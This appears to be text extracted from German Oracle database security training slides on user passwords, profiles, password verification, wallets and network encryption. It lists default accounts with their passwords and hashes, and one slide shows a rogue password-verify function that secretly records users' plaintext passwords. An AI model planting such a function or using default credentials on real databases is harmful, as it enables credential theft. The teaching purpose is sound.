REPADMIN
REPADMIN
V8.x
N
N
Benutzer für Replikation. Passwort ändern mit
ALTER USER REPADMIN IDENTIFIED BY
<pwd>;
SYSMAN
OEM_TEMP
EMV2.0.
x
N
N
Enterprise Manager Benutzer für OMS
Passwort ändern mit: Skript für 8i/9i
ORA_Home>\SYSMAN\Admin starten:
vduResetSysman.sql
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 20
Security I 3 - 20
Benutzerpasswörter (ff)
Username
Passwort
Ab
Drop
Lock
Bedeutung
SCOTT
TIGER
V6.x
Y
Y
Beispielbenutzer mit einigen Rechten. Kann
neu angelegt werden mit dem Skript:
@?/RDBMS/ADMIN/scott.sql oder
utlsampl.sql
9i
N/Y
Y
Intermedia-Benutzer
SI_INFORMATN_
SCHEMA
SYS
<benutzer
def.>
V6.x
N
N
Inhaber der Datenbank mit allen Rechten
Passwort ändern mit ALTER USER SYS
IDENTIFIED BY <pwd>;
SYSTEM
MANAGER
oder
<benutzer
def.>
V6.x
N
N
DBA der Oracle Datenbank
Passwort ändern mit ALTER USER ...
IDENTIFIED..
TSMSYS
TSMSYS
10.2
N
Y
Transparent Session Migration
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 21
Security I 3 - 21
Benutzerpasswörter (ff)
Username
Passwort
Ab
Drop
Lock
Bedeutung
WKPROXY
change_on_
install
V9i
Y
Y
Ultrasearch User
Wird angelegt mittels:
ultrasearch/admin/wk0csys.sql
WKSYS
change_on_
install
V9i
Y
Y
Ultrasearch User
Wird angelegt mittels:
ultrasearch/admin/wk0install.sql
WMSYS
WMSYS
V9i
N
Y
Workspace Manager.
Wird angelegt mittels: owmctab.plb
Gelöscht durch: owmuinst.plb
XDB
<userdef>
V9i
N
Y
Für XML Datenbank.
Kann angelegt werden mittels: catqm.sql
gelöscht werden mittels catnoqm.sql
XS$NULL
keins
11.1
N
Y
Kein eigentlicher User. Wird für interne Zwecke
verwendet. Hat keine Rechte
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 22
Security I 3 - 22
Administrationsbenutzer
Benutzer
Rechte
Beschreibung
SYSDBA
STARTUP, SHUTDOWN
CREATE DATABASE
RECOVER DATABASE
Alle Rechte mit ADMIN Priv.
"Root" Benutzer der Datenbank.
SYSOPER
STARTUP; SHUTDOWN
ALTER DATABASE BACKUP,
ARCHIVE LOG, RECOVER.
Abgespeckter SYSDBA, der nicht auf
Tabellen zugreifen darf!
SYSASM
(ab 11g)
CREATE DISKGROUp, DROP
DISKGROUP, …
Verwaltung der ASM Instanz (Trennung
von DB und OS Administration)
SYSBACKUP
(ab 12c)
für Backup & Recovery Aufgaben mittels
RMAN oder SQL*Plus
SYSDG
(ab 12c)
zur Verwaltung des Oracle Data Guard
oder des dgmgrl Tools
SYSKM
(ab 12c)
zur Verwaltung des Encryption key
Managements (Transparent Data
Encryption Wallet)
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 23
Security I 3 - 23
Übersicht der Rechte pro Benutzer
Startup/
Shutdown
ALTER DB
OPEN
MOUNT
BACKUP
ARCHIVE LOG
RECOVER
DB
SELECT
auf APP
Tabellen
CHANGE
CHARACTER
SET
CREATE,
DROP DB
CREATE
SPFILE
RESTRICTED
SESSION
SYSDBA
(ab 8.0)
Schema/
Grund
Privilegien
SYS
Vollständig
SYSOPER
(ab 8.0)
PUBLIC
CREATE
SYSBACKUP
(ab 12.1)
SYSBACK
UP
SYSDG
(ab 12.1)
SYSDG
SYSKM
(ab 12.1)
SYSKM
Die drei neuen Benutzer können nicht mehr gelöscht
werden
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Welche Rechte haben die neuen Benutzer: SYSDG
•STARTUP / SHUTDOWN
•ALTER DATABASE
•ALTER SESSION
•ALTER SYSTEM
•CREATE RESTORE POINT (including GUARANTEED restore points)
•CREATE SESSION
•DROP RESTORE POINT (including GUARANTEED restore points)
•FLASHBACK DATABASE
•SELECT ANY DICTIONARY
•SELECT
• X$ tables (fixed tables)
• V$ and GV$ views (performance views)
• APPQOSSYS.WLM_CLASSIFIER_PLAN
•DELETE
• APPQOSSYS.WLM_CLASSIFIER_PLAN
•EXECUTE
•
SYS.DBMS_DRS
Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG
Security I 3 - 24
Security I 3 - 24
Passwörter in Skripten
Schützen Sie Ihre Skriptverzeichnisse (Backup
&Recovery, Monitoring, Datenübernahme), damit
niemand Passwörter im Klartext auslesen kann
Das folgende Skript merkt sich alle Passwörter:
SPOOL passwordrestore.sql
SELECT 'alter user '||username||' identified
by values '''||password||''';'
FROM dba_users
WHERE username=upper('&&1');
SPOOL OFF
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 25
Beispiel: (alle Dateien des aktuellen Verzeichnisses nach manager durchsuchen)
root@micky>grep -n ’manager’ *.sql
-- oder alle Dateien rekursiv in einem Verzeichnis durchsuchen:
root@micky>find/home/oracle –name | xargs grep -n ’connect’
select uwd.username,u.account_status
from DBA_USERS_WITH_DEFPWD UWD, DBA_USERS U
where uwd.username=u.username
Stichwörter: Passwörter in Skripten
Security I 3 - 25
Default-Passwörter
select username "User(s)
where password in (
'E066D214D5421CCC',
'24ABAB8B06281B4C',
'72979A94BAD2AF80',
'C252E8FA117AF049',
'A7A32CD03D3CE8D5',
'88A2B2C183431F00',
'7EFA02EC7EA6B86F',
'4A3BA55E08595C81',
'F894844C34402B67',
'3F9FBD883D787341',
'79DF7A1BD138CF11',
'7C9BA362F8314299',
'88D8364765FCE6AF',
'F9DA8977092B7B81',
'9300C0977D7DC75E',
'A97282CE3D94E29E',
'AC9700FD3F1410EB',
'E7B5D92911C831E1',
'AC98877DE1297365',
'66F4EF5650C20355',
'84B8CBCA4D477FA3',
'D4C5016086B2DC6A',
'D4DF7931AB130E37')
MuniQSoft GmbH
with Default Password!" from dba_users
------------------------
dbsnmp
ctxsys
mdsys
odm
odm_mtr
ordplugins
ordsys
outln
scott
wk_proxy
wk_sys
wmsys
xdb
tracesvr
oas_public
websys
lbacsys
rman
perfstat
exfsys
si_informtn_schema
sys
system
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Default-Passwörter
Security I 3 - 26
Security I 3 - 26
Schutz durch Profile
Alle Benutzer bekommen standardmäßig das Profil
„DEFAULT“ zugewiesen
Dort sind keine besonderen Schutzvorkehrungen
getroffen
ALTER PROFILE DEFAULT LIMIT
FAILED_LOGIN_ATTEMPTS 3
PASSWORD_LOCK_TIME 5;
Nach dem 3ten Fehlversuch erscheint
SQL> connect scott/w
ERROR:
ORA-28000: Account ist gesperrt
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Schutz durch Profile
Security I 3 - 27
Security I 3 - 27
Schutz durch Profile
Lebensdauer der Passwörter (Beispiel:60 Tage)
Innerhalb der Grace Time (nach Ablauf der Life Time)
kann noch das alte Passwort benutzt werden.
In unserm Beispiel muss spätestens nach 80 Tagen ein
neues Passwort benutzt werden
ALTER PROFILE DEFAULT LIMIT
PASSWORD_LIFE_TIME 60
PASSWORD_GRACE_TIME 20;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Schutz durch Profile
Security I 3 - 28
Security I 3 - 28
Schutz durch Profile
Passwort-Wiederverwendung
Man kann einstellen, wie lange das Passwort nicht erneut
verwendet werden darf
Parameter wird in Tagen oder Wechselanzahl eingestellt
ALTER PROFILE DEFAULT LIMIT
PASSWORD_REUSE_TIME 60
PASSWORD_REUSE_MAX 2;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 29
Setzen Sie die Oracle-Passwortfunktion „verify_function“
ein durch Ausführen des Skripts
ORACLE_HOME/rdbms/admin/utlpwdmg.sql
Dieses Skript muss als SYS gestartet werden
Passwörter sollten dann nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert
werden sondern über SQL*Plus
SQL>password
Stichwörter: Schutz durch Profile
Security I 3 - 29
Schutz durch Profile
Die Passwort-Funktion wird eingeschalten durch:
ALTER PROFILE default LIMIT
PASSWORD_VERIFY_FUNCTION verify_function;
Ausschalten kann man sie mittels:
ALTER PROFILE default LIMIT
PASSWORD_VERIFY_FUNCTION null;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Schutz durch Profile
Security I 3 - 30
Security I 3 - 30
Schutz durch Passwortfunktion
Setzen Sie die Oracle-Passwortfunktion „verify_function“
ein durch Ausführen des Skripts
@?/rdbms/admin/utlpwdmg.sql
Dieses Skript muss als SYS gestartet werden
Passwörter sollten nicht mittels ALTER USER <user>
IDENTIFIED BY <pwd> geändert werden sondern über
SQL*Plus
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 31
CREATE OR REPLACE FUNCTION sys.verify_function
(username varchar2,password varchar2, old_password varchar2)
RETURN boolean IS
n boolean;
m integer;
differ integer;
isdigit boolean;
ischar boolean;
ispunct boolean;
digitarray varchar2(20);
punctarray varchar2(25);
chararray varchar2(52);
BEGIN
digitarray:= '0123456789';
chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
punctarray:='!"#$%&()``*+,-/:;<=>?_';
-- Check if the password is same as the username
IF NLS_LOWER(password) = NLS_LOWER(username) THEN
raise_application_error(-20001, 'Password same as or similar to user');
END IF;
-- Check for the minimum length of the password
IF length(password) < 4 THEN
raise_application_error(-20002, 'Password length less than 4');
END IF;
-- Check if the password is too simple. A dictionary of words may be maintained and a check may be made so as
-- not to allow the words that are too simple for the password.
IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd') THEN
raise_application_error(-20002, 'Password too simple');
END IF;
-- Check if the password contains at least one letter, one digit and on punctuation mark.
-- 1. Check for the digit
Stichwörter: Schutz durch Passwortfunktion
Security I 3 - 31
Die Passwortfunktion
Kann vom Benutzer nachträglich geändert und neu
kompiliert werden
Nehmen Sie jedoch dafür einen neuen Namen
Ändern Sie z. B. die minimale Passwortlänge auf 6
IF length(password) < 7 THEN
raise_application_error(
-20002, 'Password length less than 4');
END IF;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 32
isdigit:=FALSE;
m := length(password);
FOR i IN 1..10 LOOP
FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(digitarray,i,1) THEN isdigit:=TRUE;
GOTO findchar;
END IF;
END LOOP;
END LOOP;
IF isdigit = FALSE THEN
raise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation');
END IF;
-- 2. Check for the character
<<findchar>>
ischar:=FALSE;
FOR i IN 1..length(chararray) LOOP
FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(chararray,i,1) THEN
ischar:=TRUE;
GOTO findpunct;
END IF;
END LOOP;
END LOOP;
IF ischar = FALSE THEN
raise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation');
END IF;
-- 3. Check for the punctuation
<<findpunct>>
ispunct:=FALSE;
FOR i IN 1..length(punctarray) LOOP
FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(punctarray,i,1) THEN
ispunct:=TRUE;
GOTO endsearch;
END IF;
END LOOP;
END LOOP;
Stichwörter:Passwortfunktion
Security I 3 - 32
Die Passwortfunktion
Ändern Sie auch die gängigsten Passwörter ab
(z. B. Hinzufügen des Firmennamens)
IF NLS_LOWER(password) IN
('welcome', 'database', 'account', 'user',
'password', 'oracle', 'computer', 'abcd',
'123456','123','gast','qwert') THEN
raise_application_error(-20002, 'Password
too simple');
END IF;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
IF ispunct = FALSE THEN
raise_application_error(-20003, 'Password should contain at least one \
digit, one character and one punctuation');
END IF;
<<endsearch>>
-- Check if the pwd differs from the previous pwd by at least 3 letters
IF old_password IS NOT NULL THEN
differ := length(old_password) - length(password);
IF abs(differ) < 3 THEN
IF length(password) < length(old_password) THEN
m := length(password);
ELSE
m := length(old_password);
END IF;
differ := abs(differ);
FOR i IN 1..m LOOP
IF substr(password,i,1) != substr(old_password,i,1) THEN
differ := differ + 1;
END IF;
END LOOP;
IF differ < 3 THEN
raise_application_error(
-20004, 'Password should differ by at least 3 characters');
END IF;
END IF;
END IF;
-- Everything is fine; return TRUE ;
RETURN(TRUE);
END;
Stichwörter:Passwortfunktion
Security I 3 - 33
Security I 3 - 33
Passwortfunktion als Spion ☺
CREATE OR REPLACE FUNCTION verify_function
(username varchar2,
password varchar2,
old_password varchar2)
RETURN boolean IS
BEGIN
insert into meine_passwortliste (usr,pwd)
values (username,password);
RETURN TRUE;
END;
ALTER PROFILE default LIMIT
PASSWORD_VERIFY_FUNCTION verify_function;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Passwortfunktion als Spion
Security I 3 - 34
Security I 3 - 34
Neue Passwort-Prüf-Funktion in 12c
Oracle liefert schon seit der Version 8i ein Skript
(utlpwdmg.sql) zur Prüfung der Passwortqualität aus
Neu in 12c sind folgende Funktionen:
verify_function_11g (entspricht der alten Überprüfung)
ora12c_verify_function (Prüft einige zusätzliche Aspekte
wie Passwort=Servername)
ora12c_strong_verify_function (Erfüllt sogar die
Richtlinien des US Verteidigungsministeriums) [in 12.1.0.2
wieder entfernt]
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 35
Security I 3 - 35
Anmeldung mit verschlüsselten Passwort
Folgende Parameter werden für eine Anmeldung an der
DB verwendet:
Aliasname der TNSNAMES.ORA
TNSNAMES
Datei
Müssen
gleich sein
Servername oder IP Adresse
Portnummer des Listener
Service Name oder SID
Aliasname der Verschlüsselung
Wallet
Datei
Benutzername
Passwort
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 36
Security I 3 - 36
Anmeldung mit verschlüsselten Passwort
Wallet für verschlüsselte Passwörter anlegen:
SET ORACLE_HOME= d:\oracle\product\11.2.0\dbhome_1
SET CONNECT_ALIAS=o11g
%ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN"
–create
Ausgabe:
Kennwort eingeben
geheim123#
Kennwort erneut eingeben geheim123#
Dadurch werden zwei Dateien angelegt (cwallet.sso und ewallet.p12). Wenn
diese auf einen anderen Rechner kopiert werden, kann man auch dort mit den
Wallet-Inhalten arbeiten.
Ab 11.2 kann ein Wallet angelegt werden, dessen Dateien nur auf dem lokalen
Server funktionieren:
orapki wallet create -wallet "." -auto_login_local
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 37
Leider kann dadurch auch nur der Ersteller das Wallet für Zugriffe auf Datenbanken
nutzen, unabhängig von den Betriebssystemberechtigungen dieser Datei(en).
Unberechtigte Benutzer oder Server erhalten bei der Benutzung dieses Wallets eine
Fehlermeldung:
ERROR:
ORA-12578: TNS:wallet open failed
Stichwörter: Anmeldung mit verschlüsselten Passwort
Security I 3 - 37
Anmeldung mit verschlüsselten Passwort
Passwort für Benutzer SCOTT verschlüsselt speichern
%ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN"
-createCredential %CONNECT_ALIAS% scott tiger
Ausgabe
Wallet-Kennwort eingeben: geheim123#
Legen Sie einen tnsnames.ora Eintrag mit Namen des CONNECT_ALIAS an:
o11g = (DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
(CONNECT_DATA = (SERVER = DEDICATED)
(SERVICE_NAME = o11g)) )
Tragen Sie in die sqlnet.ora Datei auf dem Client ein:
WALLET_LOCATION=(SOURCE=(METHOD=FILE) (METHOD_DATA = (DIRECTORY =
d:\oracle\product\11.2.0\dbhome_1\network\admin)))
SQLNET.WALLET_OVERRIDE = TRUE
Ein Anmeldung ist nun möglich über:
sqlplus /@o11g
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Anmeldung mit verschlüsselten Passwort
Security I 3 - 38
Security I 3 - 38
Neuer / alter Password Hash
Oracle hat seit 11.1 eine neue
Passwortverschüsselungs-Methode auf Basis des
SHA 160 Bit Algorithmus entwickelt
Leider wird auch das alte Verfahren noch parallel
verwendet, um auch älteren Clients eine Möglichkeit
zu geben, sich noch anzumelden
Die Passwörter stehen in den Spalten password (alt)
bzw. spare4 (neu) der Tabelle sys.user$
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 39
Security I 3 - 39
Neuer / alter Password Hash
Oracle empfiehlt laut MOS Doc ID 463999.1 folgenden Befehl
bis 12.1.0.2 abzusetzen, wenn nur noch das neue Verfahren
benutzt werden soll:
UPDATE user$ SET PASSWORD = null;
Leider wird im Dokument verschwiegen, dass das nach jeder
Passwortänderung erneut durchgeführt werden muss
Im Skript unten wird dies durch einen Trigger automatisiert
Zusätzlich muss in der Server seitigen sqlnet.ora Datei der
folgende Parameter gesetzt werden:
SQLNET.ALLOWED_LOGON_VERSION=12
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 40
CREATE OR REPLACE TRIGGER sys.check_alter_user
AFTER ALTER ON DATABASE
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
IF DICTIONARY_OBJ_TYPE='USER' THEN
DBMS_SCHEDULER.CREATE_JOB (
job_name
=> 'REMOVE_OLD_PWD',
job_action
=> '
DECLARE
my_usr VARCHAR2(64):='''||DICTIONARY_OBJ_NAME||''';
BEGIN
UPDATE sys.user$ SET password=NULL WHERE name=my_usr;
COMMIT;
END;',
start_date
=> SYSTIMESTAMP+ INTERVAL '2' second,
job_type
=> 'PLSQL_BLOCK',
enabled
=> TRUE);
commit;
END IF;
EXCEPTION WHEN OTHERS THEN NULL;
END;
/
Security I 3 - 40
Abschalten des alten PWD Algorithmus
Seit Oracle 11 wird ein neuer PWD Algorithmus verwendet.
Leider wird der alte nicht automatisch abgeschaltet.
Sie können das in der Datei der sqlnet.ora konfigurieren
10g Clients (mit CPUOct2012) und höher
SQLNET.ALLOWED_LOGON_VERSION_SERVER=11
11g Clients Verschlüsselung verwenden (ab 11.2.0.3):
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12
11g und 12c Verschlüsselung verwenden (ab 12.1.0.2):
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a
Hier wird beim Neusetzen des Passworts sowohl die alte 10g als
auch 11g Form des Passworts entfernt
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 41
Hinweis:
Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter:
SQLNET.ALLOWED_LOGON_VERSION_CLIENT
Auch dieser kann die Werte:
12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher
12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g
Authentication Protocols (Empfohlen)
11 für Oracle Database 11g Authentication Protocols (dDfault)
10 für Oracle Database 10g Authentication Protocols
8 für Oracle8i Authentication Protocols
Hinweis:
Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen
Client-Version anmelden.
Security I 3 - 41
Abschalten des alten PWD Algorithmus
Wenn im Parameter
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a]
steht, wird die Spalte password der Tabelle sys.user$
nicht mehr gefüllt
Damit ist der alte Algorithmus abgeschalten, es können
sich aber nur noch Clients mit entsprechnd hoher
Version anmelden
Empfehlung von Oracle: Alle bisherigen Accounts nach
einer Migration auf Expire setzen und neu vergeben
[lassen]
ALTER USER <user> PASSWORD EXPIRE;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 42
Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !)
ALTER USER marco IDENTIFIED BY abc;
SELECT name,password,spare4 FROM user$
WHERE name='MARCO';
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a
H:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C325
2FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649A
F3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12
S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5
437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA
39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB
174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC
Security I 3 - 42
Neue Passwortverschlüsselung in 12.1.0.2
Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Hash
für die Passwortverschlüsselung
Zuerst wird PBKDF2 incl Salt verwendet
(http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Tables
und Brut Force Angriffe zu erschweren
OCI und JDBC Client in der Version 12c unterstützen
diese neue Authentifizierung
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 43
Security I 3 - 43
Kapitel 4
Netzwerksicherheit
Security I 4 - 1
Einleitung
Generell sollte der Listener bei Verdacht eines Angriffs mittels
Tracing und Logging überwacht werden
Es ist außerdem einstellbar, dass man sich nur von bestimmten
Clients aus anmelden kann
Leider sind einige Sicherheitslücken beim Listener aufgetaucht,
die u. U. nur mit neuen Patches behebbar sind. Prüfen Sie hier die
neuesten Einträge unter myoraclesupport.com
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Security I 4 - 2
Der Listener dient dem Verbindungsaufbau zwischen Client und Server. Er ist auf
dem Server installiert und kommuniziert mit dem Client auf einem fest definierten
Port. Wenn das Netzwerk sauber strukturiert ist, kann definiert werden, welche
Clients sich anmelden dürfen und welche nicht.
Die folgenden Parameter beziehen sich auf die Listener-Steuerdatei (Listener.ora),
die sich im <ORACLE_HOME>/Network/Admin Verzeichnis befindet.
Sollte der Parameter TNS_ADMIN (unter Windows in der Registry, unter UNIX in der
Datei .profile/.cshrc) gesetzt sein, kann das Verzeichnis auch anders lauten.
Beispiel für Listener.ora:
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC)))
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.1.13)(PORT =
1521))
)
)
)
Security I 4 - 2
Tipps & Tricks
Verwenden Sie nicht die Standard Ports 1521 und 1526 sondern
z.B. einen anderen Port wie 56789
Überwachen Sie die listener.ora und die Log-Dateien
Wenn möglich sollte die Standard ORACLE_SID wie ORCL, TEST
oder PROD nicht verwendet werden
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Stichwörter: Tipps
Security I 4 - 3
Security I 4 - 3
Netzwerkverschlüsselung
Sniffing
Hierunter wird das Abhören des Netzwerkverkehrs verstanden.
Switches schicken eigentlich nur noch die Pakete an den richtigen
Empfänger und nicht an jeden Rechner, jedoch kann mit div. Tools
eine falsche IP-Adresse vorgetäuscht werden
Auch das Anzapfen der Netzwerkschränke stellt eine Möglichkeit
der Spionage dar
Man in the Middle
Verändern der Inhalte der Pakete, die zwischen Client und Server
hin und her geschickt werden
So kann z. B. ein ALTER USER SYS IDENTIFIED BY SYS; Befehl
eingeschmuggelt werden
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Weitere Inhalte der Advanced Security Option:
•Transparente Daten Verschlüsselung
• Spaltenverschlüsselung
• Tablespaceverschlüsselung
•Netzwerk Verschlüsselung und Datenintegrität
•Starke Authentifikation mittels
• Kerberos
• RADIUS (Remote Authentication Dial-In User Service)
• Secure Sockets Layer (mit digitalen Zertifikaten)
• PKI
Stichwörter: Sniffing, Man in the Middle
Security I 4 - 4
Security I 4 - 4
Netzwerkverschlüsselung (f)
Folgende Manipulationen können erkannt werden:
Datenmodifikation durch Dritte (Prüfsummen sind falsch)
Datenpakete werden gelöscht (Sequenznummer ist falsch)
Datenpakete werden zusätzlich eingeschleust (Sequenznummer ist
falsch)
Wenn Oracle einen dieser Angriffsversuche erkennt, wird die
Kommunikation sofort abgebrochen
Lizenzhinweis (Stand 08/2014):
Network encryption (native network encryption and SSL/TLS) and
strong authentication services (Kerberos, PKI, and RADIUS) are no
longer part of Oracle Advanced Security and are available in all
licensed editions of all supported releases of the Oracle database.
Das heißt sie ist FREI !!!!!!
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Security I 4 - 5
Die Advanced Security Option wurde entwickelt, um einen sicheren Datenverkehr
zwischen Client und Server zu ermöglichen. Die Daten werden in beide Richtungen
verschlüsselt, um Datenspionage und Datenmanipulation zu verhindern.
Geschwindigkeitseinbuße durch ANO ca. 20%
Weitere mögliche TYPES Einstellungen
• RC4 40-bit encryption
RC4 56-bit encryption
RC4 128-bit encryption
RC4 256-bit encryption
DES40 40-bit encryption
DES 56-bit encryption
3DES 112-bit encryption
3DES 168-bit encryption
AES 128-bit encryption
AES 192-bit encryption
AES 256-bit encryption
MD5 crypto-checksumming
SHA-1 crypto-checksumming
Kerberos v5 authentication
RADIUS authentication
• Folgender Fehler kann auftreten:
• ERROR: ORA-12645: Parameter nicht vorhanden.
Lösung:
• Parameter CRYPTO_SEED wurde vergessen
• Text des Parameters CRYPTO_SEED wurde nicht in "" gesetzt
Stichwörter: erkennbare Manipulationen
Security I 4 - 5
SQLNET.ORA Parameter
Verschlüssellungsart:
SQLNET.ENCRYPTION_TYPES_[CLIENT|SERVER]
Aktivierung der Verschlüsselungsart
SQLNET.ENCRYPTION_[CLIENT|SERVER]
Prüfsummen gegen Datenmanipulation
SQLNET.CHECKSUM_TYPES_[CLIENT|SERVER]
Aktivierung der Prüfsummen
SQLNET.CRYPTO_CHECKSUM _[CLIENT|SERVER]
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Security I 4 - 6
Security I 4 - 6
Integritätsprüfung
Prüfsummen erzeugen, damit Daten auf dem Weg zwischen
Client-Server-Client nicht manipuliert werden können
Server-Seite
SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5)
SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED
Client-Seite
SQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5)
SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUESTED
Weitere mögliche TYPES Einstellungen
MD5 (RSA MD5 Algorithmus (unsicher))
SHA1
SHA256 oder SHA384 oder SHA512 (ab 12.1)
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Stichwörter: Integritätsprüfung
Security I 4 - 7
Security I 4 - 7
Einstellung in der SQLNET.ORA
Verschlüsselung des Datenverkehrs aktivieren:
Server Seite:
SQLNET.ENCRYPTION_TYPES_SERVER= RC4_256
SQLNET.ENCRYPTION_SERVER = REQUIRED
Client Seite:
SQLNET.ENCRYPTION_TYPES_CLIENT= RC4_256
SQLNET.ENCRYPTION_CLIENT = REQUIRED
Das passiert, wenn man nicht verschlüsselt …
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Mögliche Einstellungen für ENCRYPTION:
•
•
•
•
ACCEPTED
REJECTED
REQUESTED
REQUIRED
Mögliche Einstellungen ENCRYPTION_TYPES
•3des112 für triple DES mit einer zwei Schlüssel (112-bit) Option
•3des168 für triple DES mit einer zwei Schlüssel (168-bit) Option
•aes128
•aes192
•aes256
•des für Standard DES (56-bit Schlüssel)
•des40 für DES (40-bit Schlüssel)
•rc4_40 für RSA RC4 (40-bit Schlüssel)
•rc4_56 für RSA RC4 (56-bit Schlüssel)
•rc4_128 für RSA RC4 (128-bit Schlüssel)
•rc4_256 für RSA RC4 (256-bit Schlüssel)
Stichwörter: Verschlüsselung des Datenverkehrs
Security I 4 - 8
Security I 4 - 8
Client/Server Einstellkombinationen
Client Rejected
Accepted
Requested
Required
Server
Rejected
Nein
Nein
Nein
Keine Verb.
Accepted
Nein
Nein
Ja
Ja
Requested
Nein
Ja
Ja
Ja
Keine Verb.
Ja
Ja
Ja
Required
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Security I 4 - 9
Required
• Der Sicherheitsdienst wird zwingend verwendet, sonst entsteht keine Verbindung
Requested
• Der Sicherheitsdienst wird benutzt, wenn die Gegenseite ihn auch unterstützt
Accepted
• Der Sicherheitsdienst wird verwendet, wenn die Gegenseite ihn erbittet
Rejected
• Der Sicherheitsdienst wird nicht verwendet, auch wenn die Gegenseite ihn
anfordert
Stichwörter: Server/Client Einstellkombinationen
Security I 4 - 9
Funktionstest der Verschlüsselung
Schalten Sie Tracing in der Datei SQLNET.ORA ein:
TRACE_LEVEL_CLIENT = 16
TRACE_DIRECTORY_CLIENT = /u01/trace
Hinweis: Unter Windows wird immer ins C:\Documents and
Settings\Oracle\oradiag_\diag\clients\user_\host_<...>\trace\
Verzeichnis geschrieben !!!
TRACE_FILE_CLIENT = ano.trc
Melden Sie sich an und setzen sie folgenden Befehl ab:
connect system/sys
SELECT 'Marco' FROM dual;
oder
ALTER USER marco IDENTIFIED BY supergeheim;
In der Tracedatei darf das Wort Marco nun nicht vorkommen!
MuniQSoft GmbH
Kapitel 4 - Netzwerksicherheit
Security I 4 - 10
Wenn die Verschlüsselung nicht eingeschaltet wurde, kann man den
Netzwerkverkehr mitlesen:
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
